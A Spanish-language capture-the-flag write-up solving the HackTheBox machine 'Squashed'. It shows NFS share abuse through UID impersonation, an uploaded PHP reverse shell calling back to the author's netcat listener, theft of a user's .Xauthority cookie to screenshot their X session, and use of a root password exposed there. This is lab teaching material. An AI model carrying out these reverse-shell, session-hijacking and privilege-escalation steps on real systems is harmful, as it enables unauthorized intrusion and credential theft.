Skip to main content

Command Palette

Search for a command to run...

Squashed-Writeup

Updated
8 min read
D

Soy un entusiasta de la ciberseguridad,disc -> Varovish/varovish


squashed.png


Skills

- Impersonate User - mount

- Arbitrary File Upload

- Cookie Hijaking - .Xauthority

- Information leakage - Privilage Escalation

Reconocimiento

Nos creamos nuestros directorios de trabajo:

$ mkdir Squashed-10.10.11.191
$ cd Squashed-10.10.11.191
$mkdir nmap exploit content

Luego iniciamos la fase de reconocimiento:

$ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 10.10.11.189 -oG allPorts

Yo lo exporto en formato grepeable por que tengo una función llamada extractPorts -> (link de la utilidad de extractPorts creada por s4vitar, instalar xclip)

$ extractPorts allPorts
[*] Extracting information...

    [*] IP Address: 10.10.11.191
    [*] Open ports: 22,80,111,2049,33581,37529,44189,45027

[*] Ports copied to clipboard

Vemos muchos puertos, vamos a realizar un escaneo mas detallado sobre esos puertos:

$ nmap -sCV -p22,80,111,2049,33581,37529,44189,45027 10.10.11.191 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-19 03:52 -04
Nmap scan report for 10.10.11.191
Host is up (0.23s latency).

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Built Better
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      40465/udp6  mountd
|   100005  1,2,3      44189/tcp   mountd
|   100005  1,2,3      44318/udp   mountd
|   100005  1,2,3      44861/tcp6  mountd
|   100021  1,3,4      32953/tcp6  nlockmgr
|   100021  1,3,4      37529/tcp   nlockmgr
|   100021  1,3,4      42544/udp6  nlockmgr
|   100021  1,3,4      46924/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open  nfs_acl  3 (RPC #100227)
33581/tcp open  mountd   1-3 (RPC #100005)
37529/tcp open  nlockmgr 1-4 (RPC #100021)
44189/tcp open  mountd   1-3 (RPC #100005)
45027/tcp open  mountd   1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Vamos a lanzar un whatweb sobre el puerto 80, para obtener mas información:

$ whatweb http://10.10.11.191
http://10.10.11.191 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.191], JQuery[3.0.0], Script, Title[Built Better], X-UA-Compatible[IE=edge]

No vemos nada que nos llame la atención, vamos a ver como se ve la web:

web.png

Vemos una pagina de muebles, vemos un "Services, About, Shop, Contact, Login". Pero si le damos click no nos lleva a ningún lado, como si estuviese en producción. Vamos a buscar por posibles directorios, yo voy a usar la herramienta wfuzz:

$ wfuzz -c --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.11.191/FUZZ

Pero no nos encuentra nada interesante, antes de seguir profundizando en el escaneo web, yo revisaría los otros puertos primero. Si revisamos nuestro escaneo(el archivo targeted), nos encontramos que el puerto 2049, esta expuesto. Con la herramienta showmount, podemos listar los recursos que esta compartiendo por de medio de este.(Mas información sobre el puerto 2049 -> nfs-service)

$ showmount -e 10.10.11.191
Export list for 10.10.11.191:
/home/ross    *
/var/www/html *

Vemos dos recursos, yo voy montarme la ruta "/var/www/html" y ver que hay en el directorio:

$ mkdir /mnt/tmp
$ mount -t nfs 10.10.11.191:/var/www/html /mnt/tmp

El funcionamiento de las monturas es el mismo que las carpetas compartidas en windows, esto quiere decir que si modificamos un archivo. Se modifica en la maquina que este compartiendo estos recursos.

$ cd /mnt/tmp
bash: cd: tmp/: Permission denied
$ ls -la
drwxr-xr--  5 2017 www-data 4096 jun 19 12:05 tmp

Pero tenemos un problema, no tenemos ningún permiso sobre ese directorio. Pero vemos que el propietario tiene el UID(Identificador de Usuario), esto es peligroso ya que podemos asignar ese UID a un usuario a nivel de sistema y se volverá este propietario.

$ useradd -m test
$ id test
uid=1001(test) gid=1004(test) groups=1004(test)
$ usermod -u 2017 test
$ ls -la
drwxr-xr--  5 test www-data 4096 jun 19 12:05 tmp

Vemos que ahora somos propietarios del directorio, vamos a revisar que hay dentro:

$ su test
test@parrot$ cd tmp
test@parrot$ ls -la
drwxr-xr-- 5 test www-data  4096 jun 19 12:10 .
drwxr-xr-x 1 root root        12 jun 19 12:03 ..
drwxr-xr-x 2 test www-data  4096 jun 19 12:10 css
-rw-r--r-- 1 test www-data    44 oct 21  2022 .htaccess
drwxr-xr-x 2 test www-data  4096 jun 19 12:10 images
-rw-r----- 1 test www-data 32532 jun 19 12:10 index.html
drwxr-xr-x 2 test www-data  4096 jun 19 12:10 js

Parece ser que es la pagina web que esta montada en el puerto 80, vamos a usar un script en php para ganar una revershell. El siguiente script -> php-revershell. Simplemente le cambias la ip por la vuestra y el puerto. Lo depositamos en la maquina victima en mi caso "/mnt/tmp" y le hacemos un curl, antes de eso nos ponemos en escucha con nc(si no les da la revershell, revisar si exististe el archivo .php. Ya que hay una tarea cron que lo borra cada "x" tiempo):

$ nc -nlvp 443
listening on [any] 443 ...
$ curl -s -X GET http://10.10.11.191/php-reverse-shell.php
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.191] 60294
Linux squashed.htb 5.4.0-131-generic #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 15:12:23 up 10:04,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
ross     tty7     :0               05:08   10:04m  1:11   0.04s /usr/libexec/gnome-session-binary --systemd --session=gnome
uid=2017(alex) gid=2017(alex) groups=2017(alex)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
alex

Y conseguimos ganar acceso a la maquina como el usuario alex, realizamos el tratamiento a la tty para tener una consola interactiva, para poder movernos mas cómodos:

$ script /dev/null -c bash
Script started, file is /dev/null
$ ^Z #Ctrl + Z
[1]+  Stopped                 nc -nlvp 443
$ stty raw -echo;fg
              reset xterm
$ export TERM=xterm
$ export SHELL=bash

Esto nos va permitir poder realizar ctrl + c, ctrl + l. Sin tener ningún inconveniente. Vamos a montar el otro directorio que estaba siendo compartido por la maquina Squashed


Escalada de Privilegios

$ mkdir /mnt/var
$ mount -t nfs 10.10.11.191:/home/ross /mnt/var
$ ls -la /mnt
total 8
drwxr-xr-x  1 root  root       12 jun 19 12:03 .
drwxr-xr-x  1 root  root      278 abr 29 14:16 ..
drwxr-xr--  5 test  www-data 4096 jun 20 11:50 tmp
drwxr-xr-x 14 1001 scanner  4096 jun 20 01:08 var
$ useradd -m test2
$ usermod -u 1001 test2
$ su test2
test2@parrot/$ cd /mnt/var
test2@parrot/mnt/var$ ls -la
total 64
drwxr-xr-x 14 test2 scanner 4096 jun 20 01:08 .
drwxr-xr-x  1 root  root      12 jun 19 12:03 ..
lrwxrwxrwx  1 root  root       9 oct 20  2022 .bash_history -> /dev/null
drwx------ 11 test2 scanner 4096 oct 21  2022 .cache
drwx------ 12 test2 scanner 4096 oct 21  2022 .config
drwxr-xr-x  2 test2 scanner 4096 oct 21  2022 Desktop
drwxr-xr-x  2 test2 scanner 4096 oct 21  2022 Documents
drwxr-xr-x  2 test2 scanner 4096 oct 21  2022 Downloads
drwx------  3 test2 scanner 4096 oct 21  2022 .gnupg
drwx------  3 test2 scanner 4096 oct 21  2022 .local
drwxr-xr-x  2 test2 scanner 4096 oct 21  2022 Music
drwxr-xr-x  2 test2 scanner 4096 oct 21  2022 Pictures
drwxr-xr-x  2 test2 scanner 4096 oct 21  2022 Public
drwxr-xr-x  2 test2 scanner 4096 oct 21  2022 Templates
drwxr-xr-x  2 test2 scanner 4096 oct 21  2022 Videos
lrwxrwxrwx  1 root  root       9 oct 21  2022 .viminfo -> /dev/null
-rw-------  1 test2 scanner   57 jun 20 01:08 .Xauthority
-rw-------  1 test2 scanner 2475 jun 20 01:08 .xsession-errors
-rw-------  1 test2 scanner 2475 dic 27 12:33 .xsession-errors.old

Vemos un .Xauthority y esto es peligroso ya que se suelen almacenar cookies en ese archivo y podemos suplantar la identidad de un usuario. Vamos a ello:

$ test2@parrot$ python3 -m http.server 7000
Serving HTTP on 0.0.0.0 port 7000 (http://0.0.0.0:7000/) ...
alex@squashed:/home/alex/$ wget http://10.10.14.14/.Xauthority

Gracias a esto podemos suplantar la identidad de "ross", y podemos hacer una captura de lo que esta viendo, pero necesitamos saber interfaz esta operando esto lo podemos saber con el comando w

alex@squashed:/home/ross$ w
 16:02:35 up 10:54,  1 user,  load average: 0.03, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
ross     tty7     :0               05:08   10:54m  1:17   0.04s /usr/libexec/gn

Vemos que la interfaz que usa es la ":0" con esto podemos tomar una captura de pantalla con la herramienta xwd(si no funciona, exportar la variable HOME=/home/alex):

alex@squashed:/home/ross$ xwd -root -screen -silent -display :0 > /tmp/screen.xwd

Ahora nos traemos la imagen a nuestra maquina, yo voy a crearme un servidor con python:

alex@squashed:/home/ross$ cd /tmp
alex@squashed:/tmp$ python3 -m http.server 7000
Serving HTTP on 0.0.0.0 port 7000 (http://0.0.0.0:7000/) ...

Le hacemos un wget desde nuestra maquina:

$ wget 10.10.11.191:7000/screen.xwd
--2023-06-20 20:13:37--  http://10.10.11.191:7000/screen.xwd
Connecting to 10.10.11.191:7000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1923179 (1,8M) [image/x-xwindowdump]
Saving to: ‘screen.xwd’

screen.xwd                                 100%[=====================================================================================>]   1,83M   227KB/s    in 8,9s    

2023-06-20 20:13:46 (212 KB/s) - ‘screen.xwd’ saved [1923179/1923179]

Lo convertimos a .png para poder visualizar la imagen:

$ convert screen.xwd screen.png
$ ls
screen.png  screen.xwd

Vemos como se ve la imagen:

keepass.png

Vemos una contraseña, vamos a provar si es la de root:

alex@squashed:~$ su root
Password: cah$mei7rai9A
root@squashed:/home/alex$ whoami
root

Y conseguimos escalar privilegios y convertirnos en root.


Conclusión

Maquina bastante wapa de hackthebox para vel el funcionamiento de mounturas y de como se puede abusar de un .Xauthority

More from this blog

D

Dh89

25 posts

Entusiasta de la ciberseguridad